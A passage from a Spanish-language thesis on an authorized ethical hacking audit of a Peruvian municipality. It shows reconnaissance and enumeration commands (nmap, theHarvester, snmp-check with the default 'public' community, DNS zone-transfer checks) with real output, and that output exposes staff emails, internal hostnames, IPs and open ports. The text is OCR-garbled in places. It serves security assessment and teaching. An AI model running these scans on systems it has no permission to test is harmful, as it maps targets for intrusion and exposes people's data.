OpenVas, sirvieron de gran ayuda para identificar las vulnerabilidades en los
sistemas informéticos. Por otro lado, el cuestionario y las preguntas,
ayudaron a detectar amenazas que tenian un gran efecto negativo en la
Municipalidad.

2. Se aument6 el numero de riesgos analizados, para lo cual se clasificaron en
niveles, de los cuales se encontrd 13 riesgos altos, 17 riesgos moderados y
5 riesgos bajos, debiendo brindar una mayor importancia a los riesgos altos
porque estan muy cerca de causar un dafio y los riesgos moderados, ya que,
por su naturaleza, se encuentran a un paso de convertirse en una mayor
amenaza.

3. Se aumento el numero de riesgos tratados, brindandolos alternativas de
solucion para dar con la reduccion del riesgo, para esto se tomé en cuenta
las amenazas y vulnerabilidades identificadas anteriormente.

4. Se aumento el numero de mecanismos para la proteccion de la seguridad
fisica, estableciéndose 5 mecanismos precisos en salvaguardar la
disponibilidad y buen funcionamiento de los equipos de computo y el Data

Center
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VIl. RECOMENDACIONES

1. Se deberian identificar otras posibles amenazas y vulnerabilidades que se
podrian presentar en futuro sobre los sistemas informaticos, ya que, esta
investigacion se baso6 en las amenazas y vulnerabilidades que existian en
los sistemas de la Municipalidad Provincial de Moyobamba.

2. El personal de la Municipalidad Provincial de Moyobamba deberia tomar
cursos de capacitacion en temas de ciberseguridad para conocer los
mecanismos de proteccion contra ataques de ingenieria social, phishing,
etcétera.

3. Los sistemas informaticos deberian ser auditados mediante Ethical Hacking
por lo menos una vez al afio, ya que, todos los dias aparecen nuevas
amenazas Yy vulnerabilidades que pueden comprometer gravemente la
confidencialidad, integridad y disponibilidad de la informacién, si estos no
llegan a ser tratados de una manera adecuada.

4. Las politicas de seguridad de la informacién relacionados con los sistemas
informaticos deberian estar documentadas con todos los protocolos y
procedimientos a seguir cuando se produce algun riesgo. Asimismo, todo el
personal de la Municipalidad Provincial de Moyobamba deberia estar

informados de estas politicas de seguridad.
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ANEXOS

Anexo 01: Desarrollo del Ethical Hacking
Introduccion al Ethical Hacking

Una organizacion sin politicas y procedimientos de seguridad bien definidos sobre
sus sistemas informaticos corre un gran riesgo respecto a la confidencialidad,
integridad y disponibilidad de su informacion, es por ese motivo que se deberia
establecer politicas de seguridad eficientes, ya que la informacién es el activo mas
importante de una organizacién para que se puedan realizar todos los procesos
internos. Por otro lado, Internet es la via mas comun por donde viajan los diferentes
tipos de amenazas, cédigos maliciosos, virus, malware, entre otros. Por
consiguiente, el riesgo de seguridad en las redes y sistemas informaticos nunca
podran ser eliminados, pero si se podra disminuir en gran porcentaje, siempre y

cuando se cumplan con mecanismos Yy politicas de seguridad adecuados.

Elementos de la seguridad informatica:

DISPONIBILIDAD

INTEGRIDAD CONFIDENCIALIDAD

Confidencialidad: se refiere a la caracteristica que asegura para que solo los

usuarios autorizados tengan acceso a la informacion.

Integridad: indica que toda modificacion de la informacion solo sea realizada por

usuarios autorizados.

Disponibilidad: garantiza que los recursos del sistema y la informacién estén
disponibles solo para usuarios autorizados en el momento que lo necesiten
(Pacheco y Jara, 2009).
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El Ethical Hacking consiste en realizar pruebas de intrusion controladas sobre
sistemas informaticos; es decir, el especialista actia desde el punto de vista de un
“Black Hat Hacker”, para encontrar vulnerabilidades en los equipos. Se debe
mencionar que todo este proceso se hace en un ambiente controlado y
monitoreado, en el que no se ponga en riesgo la operatividad de los servicios

informaticos de la organizacion (Astudillo, 2013).



Fases del Ethical Hacking segun el Certified Ethical Hacker (EC-council)
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Para realizar el Ethical Hacking se utilizé la distribucién de Kali Linux 2019.2 en la
cual viene instalado la gran mayoria de herramientas que se utilizaron en cada una

de las fases.



FASE 1: HUELLA Y RECONOCIMIENTO

La recopilacion de informacién consiste en realizar un reconocimiento general de la
organizacion para tratar de reunir la mayor informacion posible, que pueda ser
utilizada en las demas fases. También, en esta fase se busca obtener todo tipo de
informacién sobre la organizacion, dominios, subdominios, los tipos de sistemas
gue estan funcionando, metadatos de documentos publicos que se encuentran en

Internet y los servicios que se estan ejecutando.
Whois

Whois colecciona informacion sobre un nombre de dominio o direccion web. Los
resultados del siguiente comando muestran nombre del registrante, nombre del
administrador del sitio web y su correo electronico, finalmente muestra los nombres
de los servidores DNS (Oriyano, 2017).

Comando: whois munimoyobamba.gob.pe

:~# | whols munimoyobamba.gob.pe
Domain Name: munimoyobamba.gob.pe
WHOIS Server: NIC .PE
Sponsoring Registrar: NIC .PE
Domain Status: ok

Registrant Name: municipalidad provincial de moyobamba
Admin Name: GASTELO HUAMAN CHINCHAY

Admin Email: gastelohuamanch@hotmail.com

Name Server: ns.rcp.net.pe

Name Server: ns2.rcp.net.pe

En el siguiente cuadro se puede observar un resumen de la consulta:

Nombre del Dominio munimoyobamba.gob.pe
Nombre del Registrante Municipalidad Provincial de
Moyobamba
Nombre del Administrador Gastelo Huaman Chinchay
Email del Administrador gastelohuamanch@hotmail.com
Nombres de los servidores DNS ns.rcp.net.pe
ns2.rcp.net.pe




The Harvester

The Harvester es una herramienta que permite obtener emails, subdominios, hosts,
etcétera, sobre un dominio en especifico. Para utilizarlo basta con escribir el

siguiente comando:
Comando: theharvester -d munimoyobamba.gob.pe -1 300 -b all
Donde:

-d: indica el nombre del dominio.

-I: cantidad de resultados que se quiere analizar.

-b: para indicar la fuente de datos que se realizara, ya sea, Google, Bing,

LinkedIn, etcétera, en este caso lo ponemos all para que lo haga en todos.

:~# theharvester -d munimoyobamba.gob.pe -1 300 -b all

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly
when fuzzing SSL sites. Check Wfuzz's documentation for more information.
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Se encontraron un total de 14 correos electronicos como se puede apreciar en la

imagen de abajo:



[+] Emails found:

creyes@munimoyobamba.gob.pe
webmaster@munimoyobamba.gob. pe
ojimenez@munimoyobamba.gob.pe
webmaster@munimovobamba.aob.pe
gterritorial@munimoyobamba.gob.pe
gsocial@munimoyobamba.gob.pe
gfiscalizacion@munimoyobamba.gob. pe
ivpmuni@munimoyobamba.gob.pe
sisfoh@munimoyobamba.gob.pe
mocampo@munimoyobamba.gob.pe
rgarate@munimoyobamba.gob.pe
ojimenez@munimoyobamba.gob.pe
vliopez@munimoyobamba.gob.pe
hsandoval@munimoyobamba.gob. pe
ghuaman@munimoyobamba.gob.pe
gtributaria@munimoyobamba.gob.pe
gfiscalizacion@munimoyobamba.gob. pe
gsocial@munimoyobamba.gob.pe
gterritorial@munimoyobamba.gob.pe
webmaster@munimoyobamba.gob. pe

Asimismo, se detecto los siguientes dominios que funcionan:

autodiscover.munimoyobamba.gob.pe:empty
cpanel.munimovobamba.aob.pe:empty
intranet.munimoyobamba.gob.pe:181.176.221.180

mail.munimoyobamba.gob.pe:204.93.174.33
munimoyobamba.gob.pe:181.176.221.179
webdisk.munimoyobamba.gob.pe:empty
webmail.munimoyobamba.gob.pe:empty

Www . munimoyobamba.gob.pe:181.176.221.179




Foca

FOCA es un software que busca metadatos en documentos publicos en paginas
web y utiliza tres motores de busqueda, Google, Bing y DuckDuckGo. Asimismo,
soporta varios tipos de documentos incluyendo Open Office, Microsoft Office,

Adobe InDesign, PDF, entre otros.

Para crear un proyecto en FOCA se tiene que darle un nombre, el dominio que se
quiere extraer los metadatos y la ubicacion de la capeta donde se guardaran los

documentos, como se muestra en la imagen:

& FOCA (final version) 34 - O X
|=/Project  |=|Report 'Tools 20Options (3 Tasklist [ Plugins é’lAbout
B-{@ No project
Network
- Domains
Roles
@ Vulnerabllities
- Metadata
Project name |Muni Moyobamba |
Domain website |munimoy0bamba.gob.pe |
Alternative domains
Folder where save documents |C:'-.Users“-.Desktop'-.Nueva carpeta'-.Prc|
Project date [14/08/2013 122019 |
Praject notes
Lutosave project ezch 5 & minutes
|5 Create (2 Cancel

Después de realizar la descarga de 129 documentos y extraer sus metadatos, se

encontraron 42 nombres de usuarios, 3 impresoras y 37 software.



€ Muni Moyobamba - FOCA (final version) 3.4 - ] X

35 Project 55 Report 'Tools - 2Options (3 Tasklist [ Plugins g’ﬁ\bout
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™ Documents (125/129)
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(e8] Modelo_Fomato_CN2017

£ Unknown (1)

[ Metadata Summary

2 Users (41)

-3 Folders (5)

(2 Printers (3

- Software (37)

(7] Emails {0)

% Operating Systems (0)

-5 Passwords (0)

(3 Severs(0)
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= Dn:;ns Google doc [ xls ppsx ] sxe
B r :A [ Bing Mpet  [Adocx [ xsx [ sxi
Vulnerabilities [ Bxalead e Pt = ot
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- Documents (129/129)
#H] doc (5) Custom search @=a"
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E @-E] Ei{l?ﬁ URL Dowrload  Download Date Size  Analii
[ @ Xlax (3) @Jﬂ dock  hitp://www munimoyobamba.gob pe/app/portald/conva... 14/08/20191221:14 45.24KB »
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ZoomEye
ZoomEye es un motor de busqueda de origen Chino, que contiene informacion
sobre los servicios 0 componentes de dispositivos conectados a Internet y sitios
web. En esta ocasion se realizé una busqueda sobre el hosthname del sitio web de

la municipalidad, para eso ingresamos a este link: https://www.zoomeye.org

Comando: hostname:munimoyobamba.gob.pe

ZoomEy®

ZoomEy®

hostname:mt

Se puede observar que muestra toda la informacién relacionada al sitio web y las

tecnologias utilizadas.

piES an 7.3 URL



https://www.zoomeye.org/

HTTP 3L

HTTP/1.1 286 QK

5 A (Centds
X-Powered-By: PHP/5.3.3

Content-Length: 37

Connection: close

Content-Type: fext/html; charset=UTF-8

CLASIFICACION | COMPONENTE | VERSION | URL
Aplicacion phpMyAdmin http://www.munimoyobamba.gob.pe/
Web phpmyadmin/
Contenedor Apache 2.2.15

Web

Modulo PHP 5.3.3

Contenedor

Web

Base de MySQL

Datos

Sistema CentOS

Operativo

La version de PHP que esta ejecutando el servidor web es la 5.3.3, lo cual indica
gue se esta ejecutando una version desactualizada y sin soporte, por consiguiente,

puede contener vulnerabilidades.


http://www.munimoyobamba.gob.pe/

FASE 2: ESCANEO DE RED

El escaneo de red es un método para obtener informacion sobre la red informéatica,
el objetivo es identificar los hosts vivos, puertos abiertos y cerrados, informacion de

los sistemas operativos y los servicios que se estan ejecutando.
ESCANEO ICMP

El protocolo de control de mensajes de Internet (ICMP, por sus siglas en ingles),
tiene la funcion de monitorear el correcto funcionamiento de lared. La comunicacién
mediante el protocolo ICMP consiste en enviar informacién de error que se
descubrié durante la interaccion entre dos dispositivos Los mensajes ICMP son

enviados a la direccion IP de origen del paquete.

Las consultas ICMP deben usarse con mucho cuidado ya que también crean un
riesgo de seguridad. Uno de los atagues mas conocidos en una red IP es el Man in
the Middle, que consiste cuando un hacker malicioso puede recibir, procesar y
posiblemente modificar o reenviar todos los paquetes intercambiados entre una
fuente y un destino. Como el atacante recibe todos los paquetes, puede recopilar
contrasefias 0 numeros de tarjetas de crédito, incluso inyectar informacion falsa en

una conexion (Bonaventure, 2011).

El escaneo ICMP es un método para identificar hosts vivos mediante el envio de un
paquete “ICMP Echo request” a un host o rango de red. El paquete “ICMP Echo

reply” del host verifica si el host esta vivo.



Angry IP Scanner

Este software hace “ping” a cada direccion IP para verificar si esta vivo, asimismo,
muestra el nombre de dicho host. A continuacion, se realiza la consulta del rango
de red de la municipalidad, el cual es 172.16.0/254.

42 Rango de P - Angry IP Scanner — O

Escanear Ira Ceomandos Favoritos  Herramientas  Ayuda

Rango de IP: | 172.16.0.1 | a[172.16.0.254 | | Rangodelp v
MNombre de equipo: | Christian | Pt | Mascara de red V| [ Comenzar
P Ping Mombre del equipo Puertos [0+]
91?2.16.0.1 0ms spml.munimoycbamba.red [n/=]
G"I?Z.'IE.D.Z 0ms spm3.munimoycbamba.red [n/=]
@ 172.16.0.3 [n/a] [n/s] [n/s]
@ 172.16.04 0 ms [n/a] [n/s]
@ 172.16.05 0ms srv.munimoyobamba.gob.pe [n/s]
91?2.16.0.6 Oms intranet.munimoyobamba.gob.pe [n/s]
Q 172.16.0.7 0ms [n/a] [nis]
G 172.16.0.8 [n/a] [n/s] [n/s]
@ 172.16.0.9 [n/a] [n/s] [n/s]
G"I?Z.'IE.D.'ID 0ms spml.munimoycbamba.red [n/=]
91?2.16.0.11 0ms licencias001.munimoyobamba.red [n/=]
@ 17216012 [n/a] [n/=] [n/s]
Q'I?EJE:.D.H 1ms usuaric.munimoycbamba.red [n/s]
'@ 172.16.0.14 [n/a] [n/s] [n/s]
91?2.15.0.15 0ms fashion.munimoyocbamba.red [nis]
G"I?EJE'.DJE‘ Oms asisogp.munimoychbamba.red [n/s]
91?2.16.0.1? 0ms recursos_secremunimoycbamba.red [n/=]
91?2.15.0.18 1ms transporte_asistente.munimoycbamba.red [n/=]

Una vez finalizado el andlisis de todo el rango de red se obtuvo solo 123 hosts
gue estan vivos.

Hosts Escaneados Hosts Vivos
254 123




Nmap

Nmap (Network Mapper) utiliza paquetes IP sin procesar de formas novedosas para

determinar qué hosts estan disponibles en la red, qué servicios estan disponibles,

los sistemas operativos, puertos abiertos, entre otras funciones (Calderon, 2017).

En esta ocasion se utilizé la version grafica de Nmap, el cual es Zenmap.

Se realiz6 ping al rango de red 172.16.0.1-254

Comando: nmap -sn 172.16.0.1-254

Dénde:

-sn: Realiza un ping a la red, listando a las maquinas que responden.

Se puede observar en este ejemplo que primero nos muestra el nombre del host,

seguido del dominio y direccion IP:

Salida Mmap Puertos / Servidores Topologia Detalles del servidor  Escaneos

Inr‘nap -sn 172.16.0.1-254 l

Host is up (8.8818s latency).

MAC Address: AC:72:B9:98:87:8C (Pegatron)

Nmap scan report for obras_asist@8a2 .munimoyobamba.red (172.16.0.227)
Host is up (©.8828sz latency).

MAC Address: AS:1E:84:85:1C:44 (Quanta Computer)

Nmap scan report for turismo.munimoyvobamba.red (172.16.8.228)

Host is up (8.8828s latency).

MAC Address: 68:45:CB:73:BE:17 (Asustek Computer)

Mmap scan report for 172.16.8.234

Host is up (8.812s latency).

MAC Address: 9C:8E:99:86:481:A7 (Hewlett Packard)

Nmap scan report for j_tesoreria.munimoyocbamba.red (172.16.8.235)
Host is up (@.8818s latency).

MAC Address: FC:AA:14:4A35:88:4A6 (Giga-byte Technology)

Nmap scan report for marilu-pc.munimoyvobamba.red (172.16.0.237)

Host is up (8.85%4s latency).

MAC Address: 98:4B:E1:9F:AF:37 (Hewlett Packard)

Nmap scan report for s_serenazgo.munimoyobamba.red (172.16.8.239)
Host is up (©.8848sz latency).

MAC Address: 88:8B:82:23:DB:44 (Grandstream Networks)

Nmap scan report for seguridad_ciudadana.munimoyobamba.red (172.16.6.241)
Host is up (8.856s latency).

MAC Address: B4:B&:86:93:EL1:5D (Hewlett Packard)

Mmap scan report for alcaldia_asistente.munimoyobamba.red (172.16.8.247)
Host is up (8.88s latency).

MAC Address: 88:1C:C0:74:1C:32 (Intel Corporate)

Nmap scan report for catastrot.munimoyobamba.red (172.16.6.249)

Host is up (8.8818s latency).

MAC Address: 38:6@:77:4AB:E5:F2 (Pegatron)

MNmap scan report for 172.16.8.251

Host is up (8.828s latency).

MAC Address: 3C:D9:2B:E6:45:30 (Hewlett Packard)

Mmap scan report for desktop-géiaZbb.munimoyobamba.red (172.16.8.252)
Host is up (©.8818s latency).

MAC Address: 78:8B:CD:98:2D:81 (Asustek Computer)

Nmap scan report for christian.munimoyobamba.red (172.16.08.78)

Host is up.

Mmap done: 254 IP addresses (141 hosts up) scanned in 13.88 seconds




Asimismo, se puede ver los nombres de los hosts:

Servidores Servicios

05 = Servidor

-

I fEfEEEETEEEEEE s fE s e e g e E

spml.munimoycbamba.red (172.16.0.1)
desktop-géia2bb.munimoyobamba.red (172.16.0.252)
172.16.0.251

catastrot.munimoyobamba.red (172.16.0.249)
alcaldia_asistente.rmunimoyobarmba.red (172.16.0.247)
seguridad_ciudadana.munimoyobamba.red (172,16.0.241)
s_serenazgo.munimoycbamba.red (172.16.0.239)
marilu-pc.munimoyobamba.red (172.16.0.237)
J_tesoreria.munimoycbamba.red (172.16.0.235)
172.16.0.234

turismao.munimoyebamba.red (172.16.0.228)
obras_asistO002. munimoyobamba.red (172.16.0.227)
munimoyo.munimoyobamba.red (172.16.0.222)
jefetrans.munimoycbamba.red (172.16.0.221)
usuaric-pc.munimoycbamba.red (172.16.0.220)
asist_participacion.munimoycbarmba.red (172.16.0.21%)
residucs_003.munimoycbamba.red (172.16.0.218)
evaluador-cpi.munimoyobamba.red (172.16.0.217)
mili.munimeyobamba.red (172.16.0.216)
admint_asist0E.munimoyebarmba.red (172.16.0.213)
rentas.munimoycbamba.red (172.16.0.210)
windows70.munimoyobamba.red (172.16.0.208)
jefe_logistical.munimoycbamba.red (172.16.0.207)

Resumen:

N° de IP escaneadas | N° hosts

respondieron al ping

254 134




Ahora, vamos a realizar un escaneo para saber el sistema operativo del servidor
principal:

Comando: nmap -O 172.16.0.1
Donde:

-O: Para descubrir el sistema operativo del host.

Salida Mrmap Puertos / Servidores Topologia Detalles del servidor Escaneos
nmap -0 172.16.0.1

starting Nmap 7.8@ ( https://nmap.org ) at 2019-89-86 16:27 Hora est. Pacifico, Sudamérica
Nmap scan report for spml.munimoyobamba.red (172.16.9.1)
Host is up (@.88@53s latency).

Mot shown: 978 closed ports

PORT STATE SERVICE

53/tcp open domain

28/tcp open http

88/tcp open kerberos-sec

135/tcp  open msrpc

139/tcp open netbios-ssn

389/tcp open ldap

443/tcp  open https

445/tcp  open microsoft-ds

464/tcp  open kpasswdS

593/tcp open http-rpc-epmap

636/tcp open ldapssl

1433/tcp open ms-sgl-s

23B3/tcp open ms-olapd

3268/tcp open globalcatLDAP

3269/tcp open globalcatLDAPssl

33B9/tcp open ms-wbt-server

49152/tcp open unknown

49153/tcp open unknown

49154 /tcp open unknown

49155/tcp open unknown

49157 /tcp open unknown

49158/tcp open unknown

MAC Address: 2C:76:8A:55:BE:77 (Hewlett Packard)

Device type: general purpose
[Running: Microsoft Windows 201d|7|8.1

05_CPE: cpe:/o:microsoft:windows_server_2@812:r2 cpe:/o:microsoft:windows_7:::ultimate cpe:/o:mic
05_details: Microsoft Windows Server 2812 R2 Update 1, Microsoft Windows 7, Windows Server 2812,
Network Distance: 1 hop

05 detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.92 seconds



Los puertos abiertos del servidor y los servicios que se estan ejecutando:

Salida Wmap Puertos / Servidores Topelogia Detalles del servidor

4 Puertc 4 Protocolo 4 Estade 4 Servicio 4 Versign
@& 53 tcp open domain
& =20 tcp open http
@ 3a2 tcp open kerberos-sec
@ 135 tcp open MSFEC
@ 139 tep ocpen netbios-ssn
® 389 tcp open Idap
@ 443 tep ocpen https
& 445 tcp open microsoft-ds
2 464 tcp open kpasswd3
@ 593 tcp opEn http-rpc-eprmap
® 636 tcp open Idapssl
@ 1433 tcp open ms-sql-s
& 2383 tcp open ms-clapd
@ 3262 tcp open globalcatLDAP
@ 3269 tcp open glebalcatLDAPss]
@ 3383 tcp open ms-whbt-server
® 49152 tcp open unknown
@ 49153 tep ocpen unknown
® 49154 tcp open unknown
@ 49155 tep ocpen unknown
@ 49157 tcp open unknown
@ 49158 tcp open unknown

Detalles del servidor:

Salida Mmap Puertos / Servidores Topologia | Detalles del servidof  Escaneos

= spml.munimoycbamba.red (172.16.0.1)
=l Estado del servidor

Estado: up

Puertos abiertos: 22 ""
Puertos filktrados: 0

Puertos cerrados: 973

Puertos escaneados: 1000

Tiempo activo: 4380 .
Ultima inicializacion:  Fri Sep 06 15:06:03 2019

= Diirecciones
1P 172.16.0.1

1P Mo disponible
MAC: 2CTe8A:55%BETT

= Mombres de Servidores

Mombre - Tipo:  spml.munimoyobamba.red - PTR

= Sistema operativo
Mombre: Microsoft Windows Server 2012 R2 Update 1

Precisign: 100%

Muestra que el sistema operativo que esta ejecutandose en el servidor es Microsoft
Windows Server 2012 R2.



Escaneo Xmas

Este tipo de escaneo en el cual contiene multiples FLAGS. Los paquetes son
enviados al objetivo junto con URG, PSH y FIN; o un paquete que tiene todos los
FLAGS crea una situacién anormal para el receptor. El sistema receptor tiene que
tomar una decisién cuando esta condicidn ocurre. Los puertos cerrados responden
solo con paquete RST. Si el puerto esta abierto, algunos sistemas responden como
un puerto abierto, pero los sistemas modernos ignoran o eliminan estas solicitudes,

porque la combinacién de estos FLAGS es falsa.

FLAG: Es un valor que actia como una sefial para un funcibn o proceso. La
cabecera TCP contiene varios campos booleanos de un solo bit, que sirven para

influenciar el flujo de datos a través de la conexion TCP.
Se realizé un escaneo Xmas a la direccion IP del servidor principal:

Comando: nmap -sX -T4 172.16.0.1

:~# nmap -sX -T4 172.16.0.1
Starting Mmap 7.70 ( https://nmap.org ) at 2019-09-02 13:42 EDT
Nmap scan report for spml.munimoyobamba.red (172.16.0.1)

Host is up (0.080049s latency).
A1l 10860 scanned ports on spml.munimoyobamba.red (172.16.8.1) are closed
MAC Address: 2C:76:8A:55:BE:77 (Hewlett Packard)

Se observa que la salida muestra a todos los 1000 puertos para el host spmil, el
cual es el servidor principal, estan cerrados, esto indica que el firewall esta
desactivado, por lo tanto, es una vulnerabilidad muy grave, porque no tiene

proteccion contra cualquier amenaza externa.



FASE 3: ENUMERACION

En esta fase se inicia conexiones activas con el sistema objetivo. Se recopila
informacion sobre nombres de las maquinas, usuarios, grupos, uso compartido de

red, etcétera.
NETBIOS

NetBIOS es un programa basico de sistema de entrada/salida de red que permite
la comunicacién entre diferentes aplicaciones que se ejecutan en diferentes

sistemas dentro de una red de area local.

NetBIOS Enumerator

Utilizando la herramienta NetBIOS Enumerator se logré obtener la lista de
computadoras que pertenecen a un dominio y la lista de recursos compartidos en

los hosts individuales en la red.
Para utilizar la herramienta, se sigue los siguientes pasos:

1. Primero se pone el rango de IP a escanear, en este caso fue dela172.16.0.1
-172.16.0.254.

2. Hacemos clic en la pestafia de escanear para empezar el proceso de analisis

B | MetBIOS Enumerator

IF‘ range to scan Scan Clear
Fru:um:| 172.16.0.1 Your local ip;
169.254. 5
to:| 172.16.0.254
V [1...254]




Ahora, muestra todos los hosts con su respectivo nombre y direccion IP.

B MetBlOS Enumerator

IP range to scan Scan | Clear

fru::m:l 172.16.0.1 Your local ip:

169.2541.5
to:] 172.16.0.254

[+ [1...254]

172.16.0.1 [SPM1]

172.16.0.2 [SPM3]

172.16.0.5

172.16.0.6

172.16.0.10 [SPM1]

172.16.0.11 [LICENCIASO0 1]
172.16.0.16 [ASISOGP]
172.16.0.17 [RECURSOS_SECRE]
172.16.0.18 [TRANSPORTE_ASIS]
172.16.0,27 [ASISTENTELOGIST]
172.16.0.29 [RENTAS_ATENCION]
172.16.0.31 [ASIST_TRIBUTARI]
172.16.0.32 [ASIS-TRIBUTARIA]
172.16.0.33 [MUNIMOYOBAMBA]
172.16.0.35 [USUARIO-PC]

"::I o) o) ) eng) wn ) eng) ang) g nng) ungd ang g )

Se elige cualquier host para verificar toda la informacion. En esta ocasion se
muestra la informacion de un host con el nombre de USUARIO-PC, como se puede

apreciar en la imagen:

B " MetBIOS Enumerator

IP range to scan Scan Clear
'Fr-::m:| 172.16.0.1 Your local ip:

to:| 172.16.0.254 169.254.%

[V [1...254]

172.16.0.1 [SPM1]

172.16.0.2 [SPM3]

172.16.0.5

172.16.0.6

172.16.0.10 [SPM1]

172.16.0.11 [LICEMNCIASOO1]

172.16.0.16 [ASISOGF]

172.16.0.17 [RECURSOS_SECRE]
172,16.0,18 [TRAMSPORTE_ASIS]
172.16.0.27 [ASISTEMTELOGIST]
172.16.0.29 [REMTAS_ATEMNCICON]
172.16.0.31 [ASIST_TRIBUTARI]

32 [ASIS-TRIBUTARIA]

33 [MUMNIMOYOQBAMEA]

.35 [USUARIO-PC]

NetBIOS Mames (4)

% USUARIO-PC - Workstation Service
% MUMNIMOYOBAMEA - Domain Mame

D 13 1 10 D 3 D) 3 1) 80 13 D D D

oocooooboo

T

USUARIO-PC - File Server Service

: MUNIMOYOBAMEBA - Potential Master Browser
----- ﬁ Uszername: (Mo one logged on)

""" [ Domain: MUNIMOYOBAMEA

--EE MAC: 4c-cc-6a-0d-b4-41

----- [¥ Round Trip Time (RTT): 3 ms - Time To Live {TTL): 123




Nbtscan

Este comando en Kali Linux muestra la tabla NetBIOS sobre el host del servidor

principal que tiene como nombre SPML1.
Comando: nbtscan -v -r 17216.0.1
Donde:
-v: Imprime todos los nombres recibidos de cada host.

-r: Usa el puerto local para los escaneos.

:~# nbtscan -v -r 172.16.0.1
Doing NBT name scan for addresses from 172.16.0.1

NetBIOS Name Table for Host 172.16.0.1:

Incomplete packet, 191 bytes long.
Service

UNIQUE
MUNIMOYOBAMBA GROUP
MUNIMOYOBAMBA GROUP
SPM1 UNIQUE
MUNIMOYOBAMBA UNIQUE

Nbtstat

Es una herramienta util para mostrar informacion sobre tablas de nombres de

NetBIOS, caché de nombres y otra informacion adicional.

Abrimos una ventana en PoweShell y realizamos la consulta:
Comando: nbtstat -A 172.16.0.92

Dénde:

-A: Hace una lista de la tabla de nombres de los equipos remotos segun sus

direcciones de IP



VirtualBox Host-0nly Network:
Direceidn IP del nodo: [192.168. -2 . : [1

Host no encontrado.

Ethernet:
Direccion IP del nodo: [172.16.8.78] Id. de ambito : []

Tabla de nombres de equipos remotos de NetBIOS
Nombre

SERENAZ Unico
L Grupo
Unico

Grupo

i s e v ]
m
+ o+

(L]

rt

Direccidn MAC = F8-DE-F1-CD-54-74

SNMP-CHECK

El protocolo simple de administracion de red (SNMP) sirve para el intercambio de
informacion en la correcta administracion de routers, servidores, switches,

impresoras, entre otros dispositivos de red.

Snmp-check permite enumerar informacion de cualquier dispositivo, hardware,

software con soporte de protocolo SNMP.

El servicio SNMP se ejecuta en el puerto UDP 161 de forma predeterminada.
Entonces, comencemos a escanear el objetivo usando nmap para el puerto 161y

el host 172.16.0.6 que pertenece a la intranet de la municipalidad.

:~# nmap 172.16.0.6 -Pn -sU -p 161 -sV
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-04 12:16 EDT
Nmap scan report for intranet.munimoyobamba.gob.pe (172.16.0.6)
Host is up (0.00036s latency).

PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
MAC Address: 18:A9:05:5B:AD:4A (Hewlett Packard)

Verificamos que el puerto 161 para dicho host se encuentra abierto y esta
ejecutando la version de SNMPvl. Ahora realizamos la consulta SNMP. Por
defecto, varias implementaciones SNMP utilizan las contrasefas “public” y
‘private”. La consulta que realizamos es para el host 172.16.0.6, utilizamos el

comando:



Comando: snmp-check -c public 172.16.0.6
Donde:

-c: Indica la comunidad SNMP, por defecto es “public”

:~# snmp-check -c public 172.16.0.6
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)

[+] Try to connect to 172.16.0.6:161 using SNMPv1l and community 'public'
[¥] System information:

Host IP address : 172.16.0.6

Hostname : intranet.munimoyobamba.gob.pe

Description : Linux intranet.munimoyobamba.gob.pe 2.6.32-642.3.1.e16.x86 64 #1 SMP
Tue Jul 12 18:30:56 UTC 2016 x86 64

Contact : Administrador (dns@munimoyobamba.gob.pe)

Location : Servidor Linux en dns.local.net

Uptime snmp : 31 days, 23:17:58.44

Uptime system : 31 days, 23:17:40.42

System date : 2019-9-4 09:12:57.0

[*] Network information:

IP forwarding enabled : no
Default TTL 1 64

TCP segments received : 208211285
TCP segments sent : 188634752
TCP segments retrans : 38871
Input datagrams 1 213277045
Delivered datagrams 1 213224346
Output datagrams : 189101713

[*] Network IP:

IP Address Netmask Broadcast
127.0.0.1 255.0.0.0 (0]
172.16.0.6 255.255.252.0 1

[*] TCP connections and listening ports

Local address Local port Remote address Remote port State

172.16.0.6 22 172.16.0.16 63005 established
172.16.0.6 5432 172.16.0.10 62351 established
172.16.08.6 5432 172.16.6.16 62352 established

5432 172.16.0.18 62353 established

Nos muestra informacién del sistema, como el nombre del host, la direcciéon IP,
contacto y el tiempo de actividad del protocolo SNMP, asimismo, muestra las

conexiones TCP con los puertos locales y puertos remotos para el host 172.16.0.6



Transferencia de Zona DNS

Tener una oportunidad en las transferencias de zona es una forma de tratar de
obtener una vista interna del servidor de la organizacion, nombres y objetivos
potenciales. Técnicamente, una transferencia de zona permite que un servidor DNS
secundario actualice su informacién del servidor primario. La funcion de
transferencia de zona es lo que hace que el DNS sea redundante. Deberia el
servidor principal de la organizacién por alguna razén que no esté disponible, el
secundario puede intervenir y realizar todas las tareas del servidor principal ya que
previamente ha obtenido una copia de su informacion utilizando una transferencia

de zona.

Una transferencia de zona deshonesta funciona cuando un hacker malicioso finge
ser un DNS secundario necesitado de informacién actualizada. El DNS en su
conjunto no funcionaria sin permitir transferencias de zona, pero las transferencias

nunca deben permitirse a hosts desconocidos (Svensson, 2016).
Para extraer nombres de los servidores DNS se utiliza:

Comando: dig NS munimoyobamba.gob.pe

:~# dig NS munimoyobamba.gob.pe

; <<>> DiG 9.11.5-P4-3-Debian <<>> NS munimoyobamba.gob.pe
; global options: +cmd
; Got answer:
->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44563
flags: qr rd; QUERY: 1, ANSWER: 2, AUTHORITY: ©, ADDITIONAL: 3
; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 1280
;» QUESTION SECTION:
;munimoyobamba.gob.pe. IN

;» ANSWER SECTION:
munimoyobamba.gob.pe. NS2.RCP.NET.pe.
munimoyobamba.gob.pe. NS.RCP.NET.pe.

;; ADDITIONAL SECTION:
NS2.RCP.NET.pe. 477 209.45.127.3
NS.RCP.NET.pe. 5522 161.132.17.16

; Query time: 28 msec

; SERVER: 200.48.225.130#53(200.48.225.130)
; WHEN: Mon Aug 19 04:19:38 EDT 2019

; MSG SIZE rcvd: 124




Ahora se comprueba si el servidor DNS es vulnerable a una transferencia de zona
desde un servidor DNS no autorizado, el cual consiste en hacer una consulta a la
base de datos del servidor DNS de la organizacion para obtener direcciones IP
internas, servidores, hosts, etcétera. El ataque tendra éxito si el servidor DNS fue
